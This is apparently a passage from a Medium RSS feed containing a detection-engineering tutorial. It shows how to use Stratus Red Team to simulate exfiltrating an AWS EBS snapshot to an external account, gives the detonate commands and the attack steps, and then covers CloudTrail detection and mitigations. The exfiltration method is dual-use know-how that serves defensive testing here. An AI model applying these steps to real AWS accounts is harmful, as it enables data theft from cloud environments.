🛠️✨</p><p>Go ahead, get your hands dirty, and happy hacking! 😈🔓</p><h3>💬 <strong>Got Thoughts? Let’s Connect!</strong> 🚀</h3><p>Hey, I’d love to hear your thoughts on this! If you have any questions, insights, or just want to geek out over security, feel free to <a href="https://www.linkedin.com/in/revanth-s-15a410b7/">DM me</a>. 💡 If you spot something that needs a tweak, let me know — I’m always up for learning and improving! 🔥</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5d7ab416aa0e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Simulating Cloud Attacks with Stratus Red Team]]></title>
            <link>https://revanthselvam.medium.com/simulating-cloud-attacks-with-stratus-red-team-a-detection-engineers-guide-929f7297f1d1?source=rss-dc408eb3cc35------2</link>
            <guid isPermaLink="false">https://medium.com/p/929f7297f1d1</guid>
            <category><![CDATA[ebs-snapshots]]></category>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[detection-engineering]]></category>
            <category><![CDATA[stratus]]></category>
            <dc:creator><![CDATA[Revanth S]]></dc:creator>
            <pubDate>Tue, 25 Feb 2025 01:39:18 GMT</pubDate>
            <atom:updated>2025-03-08T11:28:05.209Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sI3KO4oLM_H4-r8O-nNkSA.jpeg" /></figure><p>Tired of manually creating Proof of Concepts (POCs) for detections? There’s a smarter way! I recently came across an awesome approach that can make your life easier.</p><p>Many of you might already be familiar with using simulation tools to build effective detection POCs. One of the most efficient ways to detect cloud-based attacks is with <strong>Stratus Red Team</strong> — an open-source tool designed for simulating realistic attacks on <strong>Cloud</strong> and <strong>Container</strong> environments. 🌐</p><p>For more details, check out the official documentation. But first, let’s go through some prerequisites to get started:</p><p>✅ <strong>Valid AWS IAM User Credentials</strong> — (For security reasons, avoid using the root account!) ✅ <strong>Latest Version of Go</strong> ✅ <strong>Stratus Red Team tool</strong> — (You’ll need this!) ✅ <strong>Kali Linux</strong> — (I personally prefer Kali, but feel free to use any OS you’re comfortable with.)</p><h3>Setting Up IAM User 🔐</h3><p>First, I’m creating an <strong>IAM user</strong> on my AWS account. One key thing to note — if your account is critical, avoid using it! Instead, try a <strong>sandbox/demo account</strong>. If it’s a <strong>free-tier</strong> account, that’s an added advantage.</p><p>To proceed:</p><ol><li><strong>Create an IAM User</strong> with <strong>Administrative Access</strong> permissions.</li><li>Generate <strong>Access Key</strong> and <strong>Secret Key</strong> — store them safely for future use.</li></ol><p>In my case, I’m using the username <strong>“DETest”</strong> with <strong>Admin Permission</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iHGyPlfvguRLOfKurLnH2g.png" /><figcaption>IAM User</figcaption></figure><h3>Configuring AWS CLI ⚙️</h3><p>Once the IAM user is created, the next step is to configure the credentials in AWS CLI. There are two common methods to do this:</p><ol><li><strong>Using the terminal:</strong> Run aws configure and enter the required details, including Access Key, Secret Key, region, and output format.</li><li><strong>Manually updating configuration files:</strong></li></ol><ul><li>Add credentials to ~/.aws/credentials:</li><li>[default] <br>aws_access_key_id=YOUR_ACCESS_KEY aws_secret_access_key=YOUR_SECRET_KEY</li><li>Set the region and output format in ~/.aws/config:</li><li>[default] <br>region=YOUR_REGION <br>output=json</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*0U296w4UTNNWHrsw1UT7dQ.png" /></figure><h3>Installing Go 🛠️</h3><p>Now that the credential setup is complete, let’s move to the next step — installing <strong>Go</strong>.</p><p>To check if Go is already installed, run:</p><pre>go version</pre><p>Ensure that you’re using <strong>version 1.22+</strong>, as older versions may cause dependency errors during installation.</p><p>If Go is not installed, download it from the official site: 🔗 <a href="https://go.dev/">Go Official Download</a></p><p>⚠️ Always make sure you’re downloading from the official website to maintain security best practices.</p><p>Once downloaded, proceed with the installation and set it up in your environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*B0rV_l_TKt-rpswQrZ_k_w.png" /></figure><h3>Installing Stratus Red Team ⚡</h3><p>All good so far! Now, let’s proceed with our next step — installing <strong>Stratus Red Team</strong>.</p><p>To install it, please use the <a href="https://github.com/DataDog/stratus-red-team"><strong>GitHub repository</strong></a> link.</p><p>After installation, verify if the tool is working correctly by running:</p><pre>stratus list</pre><p>If everything is set up properly, you should see a list of available attack techniques. However, if an error appears, troubleshoot and fix it accordingly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FYIVLryC208QAhAxP7EHzg.png" /></figure><h3>Simulating an Attack 🎯</h3><p>Now that we have all prerequisites set, it’s time to simulate an attack.</p><p>For this demo, we’ll use the technique <strong>aws.exfiltration.ec2-share-ebs-snapshot</strong>, which simulates exfiltrating an <strong>EBS snapshot</strong> by sharing it with an external AWS account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LU_79dbyhOE50F6sMgp3TQ.png" /></figure><h4>Understanding Stratus Attack States</h4><p>Stratus operates in three states:</p><ul><li><strong>Cold</strong> — Attack has not been executed.</li><li><strong>Warm</strong> — Environment is being prepared for attack execution.</li><li><strong>Hot</strong> — The attack is detonated.</li></ul><p>Currently, we’re in the <strong>Cold State</strong>, meaning no attack has been initiated yet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*-P654IJF-R4gioN-W1ATIw.png" /></figure><h4>Setting Up the Attack Environment 🛠️</h4><p>To move forward, we transition to the <strong>Warm State</strong> by running:</p><pre>stratus warmup aws.exfiltration.ec2-share-ebs-snapshot</pre><p>At this stage, Stratus verifies authentication and uses <strong>Terraform</strong> in the background to set up attack prerequisites.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*4i63YNbAKlqbc1QZsQLdPw.png" /></figure><p>Once complete, you should see logs indicating the creation of <strong>Volume</strong> and <strong>Snapshot</strong> resources. You can verify this using <strong>AWS CLI</strong> or directly by checking <strong>CloudTrail logs</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QQ4O6me3Jg-Sv8IQ1bJLpw.png" /></figure><h4>Executing the Attack 🚨</h4><p>To fully execute the attack, we transition to the <strong>Hot State</strong> by running:</p><pre>stratus detonate aws.exfiltration.ec2-share-ebs-snapshot</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tWc0QYLhAE0qxz8IRn7eXg.png" /></figure><p>After detonating, check <strong>CloudTrail logs</strong> for the ModifySnapshotAttribute API event. This confirms that the snapshot has been shared with an external AWS account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ToUKkF_S4VSkbVSEQboxXA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HrOkdkWk83Jf-uoAbLtWEQ.png" /></figure><h4>Rolling Back &amp; Cleanup 🧹</h4><p>After execution, it’s important to <strong>roll back</strong> the attack changes. First, revert to the <strong>Warm State</strong>:</p><pre>stratus revert aws.exfiltration.ec2-share-ebs-snapshot</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*jtDTcgOhr7NLUykTiFp88w.png" /></figure><p>Then, verify that the snapshot is no longer shared externally.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*3eYGM6fk_MqAfcIrUUwkcg.png" /></figure><p>Finally, <strong>clean up resources</strong> to avoid unnecessary AWS costs:</p><pre>stratus cleanup aws.exfiltration.ec2-share-ebs-snapshot</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*0BXdtf8IjoBxuHYmNJy3hA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oPoJn2bXnLR1hDvkTRvaqA.png" /></figure><p>We’ve successfully simulated an <strong>EBS snapshot exfiltration attack</strong>, verified it via <strong>CloudTrail</strong>, and cleaned up our environment. This approach helps security teams test and refine their detection capabilities in a controlled setting.</p><h3>Detection Analysis 🛡️</h3><p>Now that we’ve successfully simulated the attack, it’s time to focus on <strong>detection strategies</strong>. To detect this attack, you can use any <strong>SIEM tool</strong> and upload the simulated logs. If you’re comfortable with <strong>AWS Athena</strong>, you can analyze the logs there. The choice of tools depends on your organization’s detection environment.</p><h4>Step 1: Understanding the Attack &amp; Impact</h4><p>Before developing any detection rules, it’s essential to understand the <strong>attack flow</strong> and its potential impact.</p><p>📌 <strong>What happens in this attack?</strong><br>The <strong>EBS Snapshot Sharing Attack</strong> is a technique where an attacker creates an <strong>EBS snapshot</strong> and then shares it with an external AWS account, leading to potential <strong>data exfiltration</strong>.</p><p>📌 <strong>Attack Steps:</strong></p><ol><li>The attacker <strong>creates a snapshot</strong> from an existing EBS volume (which may contain sensitive data).</li><li>They <strong>modify snapshot permissions</strong> to allow another AWS account access.</li><li>This is done using the <strong>ModifySnapshotAttribute API</strong>, which grants createVolumePermission.</li><li>The attacker’s AWS account can now <strong>see and create a new volume</strong> from this snapshot.</li><li>They attach the volume to an EC2 instance and <strong>extract the data</strong>.</li></ol><h4>Step 2: Identifying Key Detection Indicators</h4><p>To detect this attack, look for the following events in your SIEM or CloudTrail logs:</p><p>✅ <strong>Suspicious API Calls</strong></p><ul><li>Monitor <strong>ModifySnapshotAttribute</strong> API calls, as this is used to share snapshots externally.</li><li>Look for requestParameters.createVolumePermission.add.items{}.userId—this contains the AWS account ID(s) that the snapshot is shared with.</li></ul><p>✅ <strong>Unexpected Snapshot Activity</strong></p><ul><li>Track <strong>SharedSnapshotCopyInitiated</strong> (when an attacker copies the snapshot to their account).</li><li>Track <strong>SharedSnapshotVolumeCreated</strong> (when an attacker creates an EBS volume from a shared snapshot).</li></ul><p>✅ <strong>OSINT &amp; User Behavior Analysis</strong></p><ul><li>Check <strong>IP reputation</strong> and perform <strong>OSINT checks</strong> to validate if the request originated from a suspicious entity.</li><li>Analyze <strong>User-Agent</strong> strings — while they can be manipulated, it’s still worth investigating.</li><li>Identify the user performing these actions — do they have <strong>excessive permissions</strong>?</li></ul><h4>Step 3: Preventing &amp; Mitigating Future Attacks</h4><p>Once you’ve developed detections, it’s equally important to <strong>prevent</strong> such incidents in the future. Here are some recommendations:</p><p>🚨 <strong>Limit who can modify snapshot attributes</strong> — restrict access to the <strong>ModifySnapshotAttribute</strong> API.<br>🔒 <strong>Use encrypted snapshots</strong> — AWS prevents unauthorized accounts from accessing encrypted snapshots.<br>⚠️ <strong>Implement IAM least privilege</strong> — ensure users and roles only have the permissions they absolutely need.</p><h4>Step 4: Handling False Positives</h4><p>When implementing <strong>custom detections</strong>, false positives are inevitable. To improve detection accuracy:</p><ul><li>Maintain an <strong>exclusion table</strong> to filter out known benign activities.</li><li>Use <strong>anomaly detection</strong> instead of static rules for behavioral-based alerts.</li><li>Continuously refine your detection logic based on real-world attack patterns.</li></ul><p>By following this approach, you can <strong>effectively detect, investigate, and mitigate</strong> snapshot-sharing attacks in AWS. Stay vigilant and keep improving your detection capabilities! 🚀</p><h3>Connect with Me 🔗</h3><p>If you found this blog helpful and want to discuss more on <strong>cloud security and detections</strong>, feel free to connect with me:</p><p>🔹 <a href="https://www.linkedin.com/in/revanth-s-15a410b7/"><strong>LinkedIn</strong> </a><br>🔹 <a href="https://github.com/revanthrev96"><strong>GitHub</strong></a></p><p>Let’s collaborate and learn together! 🚀</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=929f7297f1d1" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>